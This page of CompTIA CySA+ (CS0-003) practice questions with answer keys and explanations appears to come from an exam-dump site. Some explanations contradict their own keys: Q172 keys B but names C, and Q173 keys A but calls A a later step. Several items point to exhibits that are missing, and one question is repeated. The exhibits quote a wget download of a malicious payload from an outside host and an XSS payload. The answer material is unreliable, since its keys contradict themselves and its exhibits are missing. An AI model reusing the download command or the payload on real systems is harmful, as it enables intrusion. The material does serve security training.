[May 11, 2025] New Updated CS0-003 Exam Questions 2025
Updated Free CompTIA CS0-003 Test Engine Questions with 475 Q&As
CompTIA Cybersecurity Analyst (CySA+) certification exam, also known as CS0-003, is a highly respected and in-demand certification in the field of cybersecurity. CS0-003 exam is designed to validate the skills of professionals who are responsible for detecting, preventing, and responding to cybersecurity threats. CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification is designed to equip candidates with the knowledge and skills necessary to analyze data and identify potential cyber threats, as well as develop and implement effective cybersecurity strategies.
NEW QUESTION # 171
A security analyst observed the following activity from a privileged account:
- Accessing emails and sensitive information
- Audit logs being modified
- Abnormal log-in times
Which of the following best describes the observed activity?
- A. Rogue devices on the network
- B. Unauthorized privileges
- C. Insider attack
- D. Irregular peer-to-peer communication
Answer: C
NEW QUESTION # 172
An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?
- A. True negative
- B. False negative
- C. False positive
- D. True positive
Answer: B
Explanation:
The correct answer is C. False negative.
A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a potential attack and failed to alert the security analysts, resulting in a false negative.
A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack or a threat is detected by a security control, as expected. These are not the correct answers for this question.
NEW QUESTION # 173
A report contains IoC and TTP information for a zero-day exploit that leverages vulnerabilities in a specific version of a web application. Which of the following actions should a SOC analyst take first after receiving the report?
- A. Verify whether the information is relevant to the organization.
- B. Analyze the web application logs to identify any suspicious or malicious activity.
- C. Implement a vulnerability scan to determine whether the environment is at risk.
- D. Block the IP addresses and domains from the report in the web proxy and firewalls.
Answer: A
Explanation:
Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization's environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA's CySA+ guidelines, relevance verification helps in prioritizing resources and response actions effectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.
NEW QUESTION # 174
A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?
- A. function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }
- B. function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }
- C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}
').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } - D. function x() { info=$(geoiplookup $1) && echo "$1 | $info" }
Answer: C
Explanation:
The function that can be used on a shell script to identify anomalies on the network routing most accurately is:
function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies
NEW QUESTION # 175
While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?
- A. NTP configuration on each system
- B. Behavioral correlation settings
- C. If appropriate logging levels are set
- D. Data normalization rules
Answer: A
Explanation:
The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly1. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network23.
References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security
NEW QUESTION # 176
To minimize the impact of a security incident, a cybersecurity analyst has configured audit settings in the organization's cloud services. Which of the following security controls has the analyst configured?
- A. Detective
- B. Directive
- C. Corrective
- D. Preventive
Answer: A
NEW QUESTION # 177
An incident response team member is triaging a Linux server. The output is shown below:
Which of the following is the adversary most likely trying to do?
- A. Send a beacon to a command-and-control server.
- B. Perform a denial-of-service attack on the web server.
- C. Execute commands through an unsecured service account.
- D. Create a backdoor root account named zsh.
Answer: C
Explanation:
The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.
NEW QUESTION # 178
Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Select two).
- A. Legal
- B. Governance
- C. Law enforcement
- D. Public relations
- E. Manager
- F. Human resources
Answer: A,D
Explanation:
An incident manager should work with the legal and public relations entities to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice. The legal entity can provide guidance on the legal implications and obligations of disclosing the incident, such as compliance with data protection laws, contractual obligations, and liability issues. The public relations entity can help craft the appropriate message and tone for the public communication, as well as manage the reputation and image of the organization in the aftermath of the incident. These two entities can help the incident manager balance the need for transparency and accountability with the need for confidentiality and security12. References: Incident Communication Templates, Incident Management: Processes, Best Practices & Tools - Atlassian
NEW QUESTION # 179
An analyst investigated a website and produced the following:
Which of the following syntaxes did the analyst use to discover the application versions on this vulnerable website?
- A. nmap -o insecure.org
- B. nmap -A insecure.org
- C. nmap -sV -T4 -F insecure.org
- D. nmap -sS -T4 -F insecure.org
Answer: C
NEW QUESTION # 180
Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?
- A. To establish what information is allowed to be released by designated employees
- B. To designate an external public relations firm to represent the organization
- C. To define how each employee will be contacted after an event occurs
- D. To ensure that all news media outlets are informed at the same time
Answer: A
Explanation:
Communicating with staff about the official public communication plan is important to avoid unauthorized or inaccurate disclosure of information that could harm the organization's reputation, security, or legal obligations. It also helps to ensure consistency and clarity of the messages delivered to the public and other stakeholders.
NEW QUESTION # 181
Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?
- A. PAM
- B. MFA
- C. User and password
- D. Key pair
Answer: D
Explanation:
Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA.
References: Authentication Methods - Configuring Tenant-Wide Settings in Azure ..., Cloud Foundation - Oracle Help Center
NEW QUESTION # 182
A security analyst is responding to an indent that involves a malicious attack on a network. Data closet. Which of the following best explains how are analyst should properly document the incident?
- A. Take photos of the impacted items
- B. Record and validate each connection
- C. Create a full diagram of the network infrastructure
- D. Back up the configuration file for alt network devices
Answer: A
Explanation:
When documenting a physical incident in a network data closet, taking photos provides a clear and immediate record of the situation, which is essential for thorough incident documentation and subsequent investigation.
Proper documentation of an incident in a data closet should include taking photos of the impacted items. This provides visual evidence and helps in understanding the physical context of the incident, which is crucial for a thorough investigation. Backing up configuration files, recording connections, and creating network diagrams, while important, are not the primary means of documenting the physical aspects of an incident.
NEW QUESTION # 183
When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing host details, has been running for over two days. Which of the following activities will provide the best insight into this potentially malicious process, based on the anomalous behavior?
- A. SMB network traffic related to the system process
- B. Changes to system environment variables
- C. Activities taken by PID 1024
- D. Recent browser history of the primary user
Answer: C
Explanation:
The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior. BGInfo.exe is a legitimate tool that displays system information on the desktop background, but it can also be used by attackers to gather information about the compromised host or to disguise malicious processes. By monitoring the activities of PID 1024, such as the files it accesses, the network connections it makes, or the commands it executes, the analyst can determine if the process is benign or malicious.
NEW QUESTION # 184
A Chief Information Security Officer (CISO) is concerned about new privacy regulations that apply to the company. The CISO has tasked a security analyst with finding the proper control functions to verify that a user's data is not altered without the user's consent. Which of the following would be an appropriate course of action?
- A. Replicate the data sets at regular intervals and continuously compare the copies for unauthorized changes.
- B. Automate the use of a hashing algorithm after verified users make changes to their data.
- C. Use a DLP product to monitor the data sets for unauthorized edits and changes.
- D. Use encryption first and then hash the data at regular, defined times.
Answer: B
Explanation:
Automating the use of a hashing algorithm after verified users make changes to their data is an appropriate course of action to verify that a user's data is not altered without the user's consent. Hashing is a technique that produces a unique and fixed-length value for a given input, such as a file or a message. Hashing can help to verify the data integrity by comparing the hash values of the original and modified data. If the hash values match, then the data has not been altered without the user's consent. If the hash values differ, then the data may have been tampered with or corrupted .
NEW QUESTION # 185
You are a penetration tester who is reviewing the system hardening guidelines for a company. Hardening guidelines indicate the following.
* There must be one primary server or service per device.
* Only default port should be used
* Non- secure protocols should be disabled.
* The corporate internet presence should be placed in a protected subnet Instructions :
* Using the available tools, discover devices on the corporate network and the services running on these devices.
You must determine
* ip address of each device
* The primary server or service each device
* The protocols that should be disabled based on the hardening guidelines
Answer:
Explanation:
see the answer below in explanation:
Explanation:
Answer below images
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NEW QUESTION # 186
An organization wants to ensure the privacy of the data that is on its systems. Full disk encryption and DLP are already in use. Which of the following is the BEST option?
- A. Enforce geofencing to limit data accessibility
- B. Require all remote employees to sign an NDA
- C. Require users to change their passwords more frequently
- D. Update the AUP to restrict data sharing
Answer: A
Explanation:
Privacy is control over your data. An NDA doesn't necessarily enforce anything. Anyone can still blab. However, if you're geofencing, folks can only access it from the specified area(s). That's enforcing control.
NEW QUESTION # 187
An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?
- A. True negative
- B. False negative
- C. False positive
- D. True positive
Answer: B
NEW QUESTION # 188
While reviewing web server logs, a security analyst found the following line:
<IMG SRC='vbscript:msgbox("test")'>
Which of the following malicious activities was attempted?
- A. Server-side request forgery
- B. XML injection
- C. Command injection
- D. Cross-site scripting
Answer: D
NEW QUESTION # 189
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